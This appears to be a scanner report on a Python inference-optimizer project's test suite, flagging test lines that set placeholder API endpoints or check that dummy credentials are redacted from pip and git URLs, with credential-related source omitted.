assert derive_openai_base_url(" ") is None assert derive_openai_base_url("https://gw.example/Unified") == "https://gw.example/Unified/v1" assert derive_openai_base_url("https://gw.example/custom") == "https://gw.example/custom" - Network accessline 176
assert derive_openai_base_url("https://gw.example/Unified") == "https://gw.example/Unified/v1" - Network accessline 177
assert derive_openai_base_url("https://gw.example/custom") == "https://gw.example/custom" - Access to secretsline 188
[Credential-related source omitted] - Network accessline 195
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://anthropic.example") - Access to secretsline 196
[Credential-related source omitted] - Network accessline 199
monkeypatch.setenv("HOME", str(tmp_path)) credentials._reset_claude_config_to_upstream("anthropic-test-key", "https://anthropic.example") - Network accessline 200
credentials._reset_claude_config_to_upstream("anthropic-test-key", "https://anthropic.example") - Network accessline 202
payload = json.loads(cfg_path.read_text(encoding="utf-8")) assert payload["primaryApiKey"] == "anthropic-test-key" assert payload["customApiUrl"] == "https://anthropic.example" - Network accessline 203
assert payload["primaryApiKey"] == "anthropic-test-key" assert payload["customApiUrl"] == "https://anthropic.example" assert oct(cfg_path.stat().st_mode & 0o777) == "0o600" - Network accessline 204
assert payload["customApiUrl"] == "https://anthropic.example" - Network accessline 206
credentials._reset_claude_config_to_upstream("ignored", "https://anthropic.example") - Network accessline 219
cfg_path = tmp_path / ".claude" / "config.json" cfg_path.parent.mkdir(parents=True) cfg_path.write_text('{"customApiUrl": "https://operator.example"}\n', encoding="utf-8") - Network accessline 221
cfg_path.write_text('{"customApiUrl": "https://operator.example"}\n', encoding="utf-8") - Network accessline 223
credentials._reset_claude_config_to_upstream("sk-ant-oat01-fake", "https://api.anthropic.com") - Network accessline 225
assert json.loads(cfg_path.read_text(encoding="utf-8")) == {"customApiUrl": "https://operator.example"} - Network accessline 240
credentials._reset_claude_config_to_upstream(token, "https://api.anthropic.com") - Network accessline 242
payload = json.loads((tmp_path / ".claude" / "config.json").read_text(encoding="utf-8")) assert payload["primaryApiKey"] == "", "the subscription token must never be persisted" assert payload["customApiUrl"] == "https://api.anthropi - Network accessline 244
assert payload["customApiUrl"] == "https://api.anthropic.com" - Network accessline 262
credentials._reset_claude_config_to_upstream("", "https://api.anthropic.com") - Access to secretsline 427
[Credential-related source omitted] - Access to secretsline 434
[Credential-related source omitted] - Network accessline 970
repo_url = "https://github.com/sgl-project/sglang.git"
src/hyperloom/inference_optimizer/tests/test_conc_sweep.py
src/hyperloom/inference_optimizer/tests/test_conc_sweep_ceiling.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_conc_sweep_session_deadline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_context_trajectory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_context_window_preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coordinator_async_batch2_unit.py
- Executable scriptline 1
Executable file - Access to secretsline 380
[Credential-related source omitted] - Access to secretsline 399
[Credential-related source omitted] - Network accessline 1851
{ "action": "framework", "variant_name": "https://example.com/pull/7", - Network accessline 1852
"action": "framework", "variant_name": "https://example.com/pull/7", "candidate_extra_server_args": "", - Network accessline 1853
"variant_name": "https://example.com/pull/7", - Network accessline 1868
"result": { "status": "kept", "candidate": {"pr_url": "https://example.com/pull/7", "ref": "PR:7"}, - Network accessline 1869
"status": "kept", "candidate": {"pr_url": "https://example.com/pull/7", "ref": "PR:7"}, "output_throughput": 130.0, - Network accessline 1870
"candidate": {"pr_url": "https://example.com/pull/7", "ref": "PR:7"}, - Network accessline 1897
"result": { "status": "kept", "candidate": {"pr_url": "https://example.com/pull/8", "ref": "PR:8"}, - Network accessline 1898
"status": "kept", "candidate": {"pr_url": "https://example.com/pull/8", "ref": "PR:8"}, "output_throughput": 140.0, - Network accessline 1899
"candidate": {"pr_url": "https://example.com/pull/8", "ref": "PR:8"}, - Network accessline 1909
w for w in report["warnings"] if w.get("kind") == "orphaned_keep" and w.get("orphan_kind") == "framework_agent" ) assert orphan["variant"] == "https://example.com/pull/8" - Network accessline 1911
assert orphan["variant"] == "https://example.com/pull/8" - Network accessline 3335
candidate = { "candidate_id": "c1", "pr_url": "https://example.com/pr/1", - Network accessline 3336
"candidate_id": "c1", "pr_url": "https://example.com/pr/1", "batch_id": "b1", - Network accessline 3337
"pr_url": "https://example.com/pr/1",
src/hyperloom/inference_optimizer/tests/test_coordinator_async_methods_coverage_unit.py
- Executable scriptline 1
Executable file - Network accessline 582
await coord.specialist_dispatch._harvest_specialist_findings( { "new_findings": [{"what": "try mtp", "source": "https://pr/1"}], - Network accessline 583
{ "new_findings": [{"what": "try mtp", "source": "https://pr/1"}], "competitor_target": { - Network accessline 584
"new_findings": [{"what": "try mtp", "source": "https://pr/1"}],
src/hyperloom/inference_optimizer/tests/test_coordinator_gemm_promote_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coordinator_kb_writes.py
- Executable scriptline 1
Executable file - Network accessline 123
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 124
[Credential-related source omitted] - Network accessline 125
"KB_STORE_URL": "https://kb.test", - Network accessline 772
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 773
[Credential-related source omitted] - Network accessline 774
"KB_STORE_URL": "https://kb.test", - Network accessline 818
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 819
[Credential-related source omitted] - Network accessline 820
"KB_STORE_URL": "https://kb.test", - Network accessline 856
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 857
[Credential-related source omitted] - Network accessline 858
"KB_STORE_URL": "https://kb.test",
src/hyperloom/inference_optimizer/tests/test_coordinator_runtime.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coordinator_sync_helpers_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coordinator_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coverage_boost2_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coverage_boost_unit.py
- Executable scriptline 1
Executable file - Network accessline 64
path = await kb_writeback.write_framework_record( kb_writeback.FrameworkOutcome( "https://x/pr/1", "abc", "/tmp/p.patch", kb_writeback.OUTCOME_INTEGRATED, 3.5, "sess-1" - Network accessline 65
kb_writeback.FrameworkOutcome( "https://x/pr/1", "abc", "/tmp/p.patch", kb_writeback.OUTCOME_INTEGRATED, 3.5, "sess-1" ) - Network accessline 66
"https://x/pr/1", "abc", "/tmp/p.patch", kb_writeback.OUTCOME_INTEGRATED, 3.5, "sess-1"
src/hyperloom/inference_optimizer/tests/test_coverage_gap_units.py
- Executable scriptline 1
Executable file - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Network accessline 28
monkeypatch.setenv("OPENAI_BASE_URL", "https://open.example/v1") - Network accessline 29
assert credentials._resolve_llm_endpoints() == ("", "https://open.example/v1") - Network accessline 31
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://anthropic.example") - Network accessline 32
assert credentials._resolve_llm_endpoints() == ("https://anthropic.example", "https://open.example/v1") - Network accessline 34
monkeypatch.delenv("OPENAI_BASE_URL", raising=False) assert credentials._resolve_llm_endpoints() == ("https://anthropic.example", "") - Network accessline 35
assert credentials._resolve_llm_endpoints() == ("https://anthropic.example", "") - Network accessline 37
cfg = tmp_path / "geak.yaml" cfg.write_text("model: x\n base_url: https://old/v1\n", encoding="utf-8") - Network accessline 38
cfg.write_text("model: x\n base_url: https://old/v1\n", encoding="utf-8") - Network accessline 39
assert credentials._sync_geak_config_base_url(str(cfg), r"https://new.example/\g/v1") is True - Network accessline 40
assert r"https://new.example/\g/v1" in cfg.read_text(encoding="utf-8") - Network accessline 41
assert credentials._sync_geak_config_base_url(str(cfg), r"https://new.example/\g/v1") is False - Network accessline 42
assert credentials._sync_geak_config_base_url(str(tmp_path / "missing.yaml"), "https://x") is False
src/hyperloom/inference_optimizer/tests/test_coverage_margin3_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_coverage_margin_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_crash_safe_final_json.py
src/hyperloom/inference_optimizer/tests/test_critic_agent_backend.py
- Executable scriptline 1
Executable file - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 289
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 301
[Credential-related source omitted] - Access to secretsline 301
[Credential-related source omitted] - Network accessline 302
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Network accessline 303
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Access to secretsline 317
[Credential-related source omitted] - Access to secretsline 341
[Credential-related source omitted] - Access to secretsline 349
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 369
[Credential-related source omitted] - Network accessline 811
```""" monkeypatch.setenv("CRITIC_KB_CLIENT_MODE", "live") monkeypatch.setenv("KB_BASE_URL", "http://127.0.0.1:1") - Network accessline 812
monkeypatch.setenv("CRITIC_KB_CLIENT_MODE", "live") monkeypatch.setenv("KB_BASE_URL", "http://127.0.0.1:1") runtime_calls: list[RuntimeCall] = [] - Network accessline 813
monkeypatch.setenv("KB_BASE_URL", "http://127.0.0.1:1") - Network accessline 828
env = runtime_calls[0].env assert env["CRITIC_KB_CLIENT_MODE"] == "live" assert env["KB_BASE_URL"] == "http://127.0.0.1:1" - Network accessline 830
assert env["KB_BASE_URL"] == "http://127.0.0.1:1" - Network accessline 1839
{"type": "message_stop"}, ) return httpx.Response(200, content="".join(f"data: {json.dumps(event)}\n\n" for event in events).encode()) - Network accessline 1841
return httpx.Response(200, content="".join(f"data: {json.dumps(event)}\n\n" for event in events).encode()) - Network accessline 1848
llm_config, "get_async_anthropic_client", lambda **_: httpx.AsyncClient(base_url="https://fixture.invalid", transport=httpx.MockTransport(respond)), - Network accessline 1849
"get_async_anthropic_client", lambda **_: httpx.AsyncClient(base_url="https://fixture.invalid", transport=httpx.MockTransport(respond)), ) - Network accessline 1850
lambda **_: httpx.AsyncClient(base_url="https://fixture.invalid", transport=httpx.MockTransport(respond)),
src/hyperloom/inference_optimizer/tests/test_critic_mock_patch_verdict.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_critic_per_variant.py
src/hyperloom/inference_optimizer/tests/test_critic_renderer_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_critic_verdict_map.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_custom_framework.py
- Executable scriptline 1
Executable file - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 317
[Credential-related source omitted] - Access to secretsline 318
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Access to secretsline 382
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted] - Access to secretsline 414
[Credential-related source omitted] - Access to secretsline 503
[Credential-related source omitted] - Access to secretsline 504
[Credential-related source omitted] - Access to secretsline 531
[Credential-related source omitted] - Access to secretsline 532
[Credential-related source omitted] - Access to secretsline 563
[Credential-related source omitted] - Access to secretsline 564
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_custom_specialist.py
- Executable scriptline 1
Executable file - Access to secretsline 830
[Credential-related source omitted] - Access to secretsline 831
[Credential-related source omitted] - Access to secretsline 839
[Credential-related source omitted] - Access to secretsline 840
[Credential-related source omitted] - Access to secretsline 856
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_cycle_handoff.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dead_holder_failure_accounting.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_deadlines.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_decision_framework.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_decision_token_rollup_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_declared_lever_grid.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_deepseek_intent_transport.py
- Executable scriptline 1
Executable file - Network accessline 314
for key in _GATEWAY_ENV_KEYS: monkeypatch.delenv(key, raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.invalid/v1") - Network accessline 315
monkeypatch.delenv(key, raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.invalid/v1") monkeypatch.setenv("OPENAI_API_KEY", "gateway-key") - Network accessline 316
monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.invalid/v1") - Access to secretsline 317
[Credential-related source omitted] - Access to secretsline 373
[Credential-related source omitted] - Access to secretsline 375
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Network accessline 392
assert captured["env"]["DEEPSEEK_BASE_URL"] == "https://gateway.invalid/v1" - Access to secretsline 393
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_deepseek_sdk_pin.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_delegate_denial_loop.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_derive_runtime_paths.py
- Executable scriptline 1
Executable file - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Access to secretsline 317
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_diffusion_latency_final_and_ceiling.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dispatched_task_policy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dispatcher_execution_shutdown.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dispatcher_lane_priority.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dispatcher_pump_tick_heartbeat.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dotenv_precedence_recipes.py
- Executable scriptline 1
Executable file - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 569
[Credential-related source omitted] - Access to secretsline 573
[Credential-related source omitted] - Access to secretsline 582
[Credential-related source omitted] - Access to secretsline 620
[Credential-related source omitted] - Access to secretsline 621
[Credential-related source omitted] - Access to secretsline 623
[Credential-related source omitted] - Network accessline 630
[Credential-related source omitted] - Network accessline 631
[Credential-related source omitted] - Network accessline 632
assert "`ANTHROPIC_BASE_URL=https://api.anthropic.com`" in setup - Access to secretsline 642
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_drop_scoreboard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_dual_protocol_endpoint_parity.py
- Executable scriptline 1
Executable file - Network accessline 18
_URLS = [ "", "https://gw.example", - Network accessline 19
"", "https://gw.example", "https://gw.example/", - Network accessline 20
"https://gw.example", - Network accessline 21
"https://gw.example/", - Network accessline 22
"https://gw.example/v1", - Network accessline 23
"https://gw.example/anthropic", - Network accessline 24
"https://gw.example/Anthropic", - Network accessline 25
"https://api.deepseek.com", - Network accessline 26
"https://api.deepseek.com/", - Network accessline 27
"https://api.deepseek.com/v1", - Network accessline 28
"https://api.deepseek.com/anthropic", - Network accessline 29
"http://api.deepseek.com", - Network accessline 30
"https://a.b/c/d", - Network accessline 31
"https://gw.example:8443", - Network accessline 69
assert dual_protocol_endpoint_pair("https://gw.example") == ("https://gw.example", "https://gw.example/v1") - Network accessline 70
assert _shell_pair("https://gw.example") == ("https://gw.example", "https://gw.example/v1")
src/hyperloom/inference_optimizer/tests/test_emit_intent_json_string_envelope_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_enablement_build_routing.py
- Executable scriptline 1
Executable file - Network accessline 60
def test_targeted_build_repo_match_ignores_origin(): assert _repo_matches_targeted_build_component("https://example.test/forks/aiter.git", "aiter") - Network accessline 61
assert _repo_matches_targeted_build_component("https://example.test/forks/aiter.git", "aiter") - Network accessline 65
def test_targeted_build_repo_match_rejects_wrong_component(): assert not _repo_matches_targeted_build_component( "https://example.test/forks/unrelated.git", - Network accessline 66
assert not _repo_matches_targeted_build_component( "https://example.test/forks/unrelated.git", "aiter", - Network accessline 67
"https://example.test/forks/unrelated.git", - Network accessline 256
"component": "aiter", "capability": "deepseek_v4_nsa", "repo_url": "https://github.com/ROCm/aiter", - Network accessline 257
"capability": "deepseek_v4_nsa", "repo_url": "https://github.com/ROCm/aiter", "ref": "PR:1234", - Network accessline 258
"repo_url": "https://github.com/ROCm/aiter", - Network accessline 296
"component": "aiter", "capability": "deepseek_v4_nsa", "repo_url": "https://github.com/ROCm/aiter", - Network accessline 297
"capability": "deepseek_v4_nsa", "repo_url": "https://github.com/ROCm/aiter", "ref": "PR:1234", - Network accessline 298
"repo_url": "https://github.com/ROCm/aiter", - Network accessline 321
"component": "aiter", "capability": "deepseek_v4_decode", "repo_url": "https://github.com/ROCm/aiter", - Network accessline 322
"capability": "deepseek_v4_decode", "repo_url": "https://github.com/ROCm/aiter", "ref": "v0.1.15.post2", - Network accessline 323
"repo_url": "https://github.com/ROCm/aiter", - Network accessline 352
"needs_targeted_build": { "component": "aiter", "repo_url": "https://example.test/forks/unrelated.git", - Network accessline 353
"component": "aiter", "repo_url": "https://example.test/forks/unrelated.git", } - Network accessline 354
"repo_url": "https://example.test/forks/unrelated.git", - Network accessline 711
coord.shared_state.gpu_type = "mi300x" coord.shared_state.enablement.candidate_refs = [ "https://github.com/ROCm/aiter/pull/77", - Network accessline 712
coord.shared_state.enablement.candidate_refs = [ "https://github.com/ROCm/aiter/pull/77", ] - Network accessline 713
"https://github.com/ROCm/aiter/pull/77", - Network accessline 721
assert action.ref == "PR:77" assert "aiter" in action.repo_url.lower() assert action.source_pr_url == "https://github.com/ROCm/aiter/pull/77" - Network accessline 723
assert action.source_pr_url == "https://github.com/ROCm/aiter/pull/77" - Network accessline 735
coord.shared_state.enablement.kept_stack_action = { "ref": "v0.99.0", "repo_url": "https://github.com/ROCm/aiter", - Network accessline 736
"ref": "v0.99.0", "repo_url": "https://github.com/ROCm/aiter", } - Network accessline 737
"repo_url": "https://github.com/ROCm/aiter", - Network accessline 738
} coord.shared_state.enablement.candidate_refs = [ "https://github.com/ROCm/aiter/pull/77", - Network accessline 739
coord.shared_state.enablement.candidate_refs = [ "https://github.com/ROCm/aiter/pull/77", ] - Network accessline 740
"https://github.com/ROCm/aiter/pull/77", - Network accessline 760
coord.shared_state.gpu_type = "mi300x" coord.shared_state.enablement.candidate_refs = [ "https://github.com/sgl-project/sglang/pull/5", # wrong repo for aiter - Network accessline 761
coord.shared_state.enablement.candidate_refs = [ "https://github.com/sgl-project/sglang/pull/5", # wrong repo for aiter ] - Network accessline 762
"https://github.com/sgl-project/sglang/pull/5", # wrong repo for aiter - Network accessline 783
coord.shared_state.gpu_type = "mi300x" coord.shared_state.enablement.candidate_refs = [ "https://github.com/aiter-fans/vllm/pull/5", - Network accessline 784
coord.shared_state.enablement.candidate_refs = [ "https://github.com/aiter-fans/vllm/pull/5", "https://github.com/ROCm/aiter/pull/77", - Network accessline 785
"https://github.com/aiter-fans/vllm/pull/5", - Network accessline 786
"https://github.com/ROCm/aiter/pull/77", - Network accessline 793
action = TargetedBuildAction.from_state(queued[0].params) assert action.ref == "PR:77" assert action.repo_url == "https://github.com/ROCm/aiter" - Network accessline 795
assert action.repo_url == "https://github.com/ROCm/aiter"
src/hyperloom/inference_optimizer/tests/test_enablement_coordinator_wiring_unit.py
- Executable scriptline 1
Executable file - Network accessline 118
seen = [] monkeypatch.setenv("KB_STORE_URL", "https://kb.example/knowledge-base") - Network accessline 119
monkeypatch.setenv("KB_STORE_URL", "https://kb.example/knowledge-base") - Network accessline 122
fake.knowledge_plane = types.SimpleNamespace(pr_monitor_enabled=enabled) plan = types.SimpleNamespace( repos=("https://github.com/sgl-project/sglang.git",), - Network accessline 123
plan = types.SimpleNamespace( repos=("https://github.com/sgl-project/sglang.git",), keywords=("scheduler",), - Network accessline 124
repos=("https://github.com/sgl-project/sglang.git",), - Network accessline 194
cands = [ Candidate(ref="PR:1", title="minor perf tweak", html_url="http://x/1"), - Network accessline 195
Candidate(ref="PR:1", title="minor perf tweak", html_url="http://x/1"), - Network accessline 197
ref="PR:2", title="Add support to enable GLM architecture on ROCm", html_url="http://x/2", - Network accessline 198
title="Add support to enable GLM architecture on ROCm", html_url="http://x/2", ), - Network accessline 199
html_url="http://x/2", - Network accessline 207
assert params["enablement_candidate_refs"][0] == "http://x/2" - Network accessline 409
monkeypatch.setattr(mne, "is_multi_node", lambda: False) cands = [ Candidate(ref="PR:1", title="enable GLM arch on ROCm", html_url="http://x/1"), - Network accessline 410
cands = [ Candidate(ref="PR:1", title="enable GLM arch on ROCm", html_url="http://x/1"), Candidate(ref="PR:2", title="add GLM support fix", html_url="http://x/2"), - Network accessline 411
Candidate(ref="PR:1", title="enable GLM arch on ROCm", html_url="http://x/1"), - Network accessline 412
Candidate(ref="PR:2", title="add GLM support fix", html_url="http://x/2"), - Network accessline 1382
coord = _make_coord_with_phase(session_dir) cand_id = "https://github.com/example/repo/pull/99" - Network accessline 1383
cand_id = "https://github.com/example/repo/pull/99" - Network accessline 1407
coord = _make_coord_with_phase(session_dir) cand_id = "https://github.com/example/repo/pull/100" - Network accessline 1408
cand_id = "https://github.com/example/repo/pull/100"
src/hyperloom/inference_optimizer/tests/test_enablement_keep_records.py
src/hyperloom/inference_optimizer/tests/test_enablement_recipe_steps.py
- Executable scriptline 1
Executable file - Network accessline 121
"cmd, secret", [ ("pip install --index-url https://user:hunter2@pypi.internal/simple pkg", "hunter2"), - Network accessline 122
[ ("pip install --index-url https://user:hunter2@pypi.internal/simple pkg", "hunter2"), ("git clone https://oauth2:ghp_AAAAAAAAAAAAAAAAAAAA@github.example/x.git", "ghp_AAAAAAAAAAAAAAAAAAAA"), - Network accessline 123
("pip install --index-url https://user:hunter2@pypi.internal/simple pkg", "hunter2"), - Network accessline 124
("git clone https://oauth2:ghp_AAAAAAAAAAAAAAAAAAAA@github.example/x.git", "ghp_AAAAAAAAAAAAAAAAAAAA"),
src/hyperloom/inference_optimizer/tests/test_enablement_relocation_completeness.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_enablement_replay_sufficiency.py
- Executable scriptline 1
Executable file - Network accessline 230
"cmd", [ "pip install --index-url https://user:token@host/simple pkg", - Network accessline 231
[ "pip install --index-url https://user:token@host/simple pkg", "pip install --index-url=https://user:token@host/simple pkg", - Network accessline 232
"pip install --index-url https://user:token@host/simple pkg", - Network accessline 233
"pip install --index-url=https://user:token@host/simple pkg", - Network accessline 234
"pip install --index-url 'https://user:token@host/simple' pkg", - Network accessline 256
"build_inputs": { "component": "aiter", "repo_url": "https://github.com/ROCm/aiter", - Network accessline 257
"component": "aiter", "repo_url": "https://github.com/ROCm/aiter", "ref": "v1", - Network accessline 258
"repo_url": "https://github.com/ROCm/aiter", - Network accessline 326
[("aiter", "_AITER", 3), ("framework_ext", "_AITER", 3), ("sgl_kernel", "_SGLANG", 5), ("vllm_source", "_VLLM", 7)], ) @pytest.mark.parametrize("repo_url", ["", " ", "https://example.com/override"]) - Network accessline 327
) @pytest.mark.parametrize("repo_url", ["", " ", "https://example.com/override"]) def test_build_inputs_follow_driver_defaults(monkeypatch, component, default_prefix, default_jobs, repo_url): - Network accessline 328
@pytest.mark.parametrize("repo_url", ["", " ", "https://example.com/override"]) - Network accessline 329
def test_build_inputs_follow_driver_defaults(monkeypatch, component, default_prefix, default_jobs, repo_url): default_repo = f"https://example.com/{component}" monkeypatch.setattr(targeted_build, f"{default_prefix}_DEFAULT_REPO", de - Network accessline 330
default_repo = f"https://example.com/{component}" - Network accessline 366
def test_ambient_closure_tracks_build_effective_names_and_ignores_presentation(): base = {"PATH": "/usr/bin", "ROCM_PATH": "/opt/rocm", "PIP_INDEX_URL": "https://a", "TERM": "xterm"} - Network accessline 367
base = {"PATH": "/usr/bin", "ROCM_PATH": "/opt/rocm", "PIP_INDEX_URL": "https://a", "TERM": "xterm"} - Network accessline 394
class _Action: component = "aiter" repo_url = "https://github.com/ROCm/aiter" - Network accessline 395
component = "aiter" repo_url = "https://github.com/ROCm/aiter" ref = "v1" - Network accessline 396
repo_url = "https://github.com/ROCm/aiter" - Network accessline 401
_Action(), installed_versions={"aiter_ref": "v1", "sha": "s"}, ambient_env={"PIP_INDEX_URL": "https://user:token@h/simple", "PATH": "/b", "HOME": "/h"}, - Network accessline 402
installed_versions={"aiter_ref": "v1", "sha": "s"}, ambient_env={"PIP_INDEX_URL": "https://user:token@h/simple", "PATH": "/b", "HOME": "/h"}, fs_root=NO_FS, - Network accessline 403
ambient_env={"PIP_INDEX_URL": "https://user:token@h/simple", "PATH": "/b", "HOME": "/h"}, - Network accessline 412
class _Action: component = "aiter" repo_url = f"https://user:token@{host}/org/repo" - Network accessline 413
component = "aiter" repo_url = f"https://user:token@{host}/org/repo" ref = "v1" - Network accessline 414
repo_url = f"https://user:token@{host}/org/repo" - Network accessline 418
record = build_input_record(_Action(), installed_versions={}, ambient_env={}, fs_root=NO_FS) assert record["repo_url"] == f"https://{host}/org/repo" - Network accessline 419
assert record["repo_url"] == f"https://{host}/org/repo" - Network accessline 460
class _Action: component = "aiter" repo_url = f"https://user:token@{host}/org/repo" - Network accessline 461
component = "aiter" repo_url = f"https://user:token@{host}/org/repo" ref = "v1" - Network accessline 462
repo_url = f"https://user:token@{host}/org/repo" - Network accessline 701
def test_runtime_provenance_carries_no_filesystem_path(): provenance = project_runtime_provenance( _runtime_state({"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}) - Network accessline 702
provenance = project_runtime_provenance( _runtime_state({"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}) ) - Network accessline 703
_runtime_state({"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}) - Network accessline 712
state = _runtime_state({"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}) - Network accessline 722
def test_unpinned_acquisitions_require_a_runtime_rebuild(): unpinned = ( {"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}, - Network accessline 723
unpinned = ( {"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}, {"acquisition_method": "wheel", "packages": ["sglang"]}, - Network accessline 724
{"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main"}, - Network accessline 764
def test_pinned_acquisition_needs_no_rebuild_note(): for action in ( {"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main", "resolved_ref": "c" * 40}, - Network accessline 765
for action in ( {"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main", "resolved_ref": "c" * 40}, { - Network accessline 766
{"acquisition_method": "editable_ref", "repo_url": "https://h/r", "ref": "main", "resolved_ref": "c" * 40}, - Network accessline 780
{ "acquisition_method": "editable_ref", "repo_url": "https://u:t@h/r", - Network accessline 781
"acquisition_method": "editable_ref", "repo_url": "https://u:t@h/r", "ref": "main", - Network accessline 782
"repo_url": "https://u:t@h/r", - Network accessline 786
) provenance = project_runtime_provenance(state) assert provenance["acquisition"]["repo_url"] == "https://h/r" - Network accessline 787
provenance = project_runtime_provenance(state) assert provenance["acquisition"]["repo_url"] == "https://h/r" assert provenance["acquisition"]["credential_class"] == "opaque_credential" - Network accessline 788
assert provenance["acquisition"]["repo_url"] == "https://h/r" - Network accessline 798
{ "acquisition_method": "wheel", "packages": ["public @ https://host/public.whl", f"mypkg @ https://{userinfo}host/x.whl", "other==1.0"], - Network accessline 799
"acquisition_method": "wheel", "packages": ["public @ https://host/public.whl", f"mypkg @ https://{userinfo}host/x.whl", "other==1.0"], "resolved_packages": { - Network accessline 800
"packages": ["public @ https://host/public.whl", f"mypkg @ https://{userinfo}host/x.whl", "other==1.0"], - Network accessline 807
provenance = project_runtime_provenance(state) assert provenance["acquisition"]["packages"] == [ "public @ https://host/public.whl", - Network accessline 808
assert provenance["acquisition"]["packages"] == [ "public @ https://host/public.whl", "mypkg @ https://host/x.whl", - Network accessline 809
"public @ https://host/public.whl", - Network accessline 810
"mypkg @ https://host/x.whl", - Network accessline 819
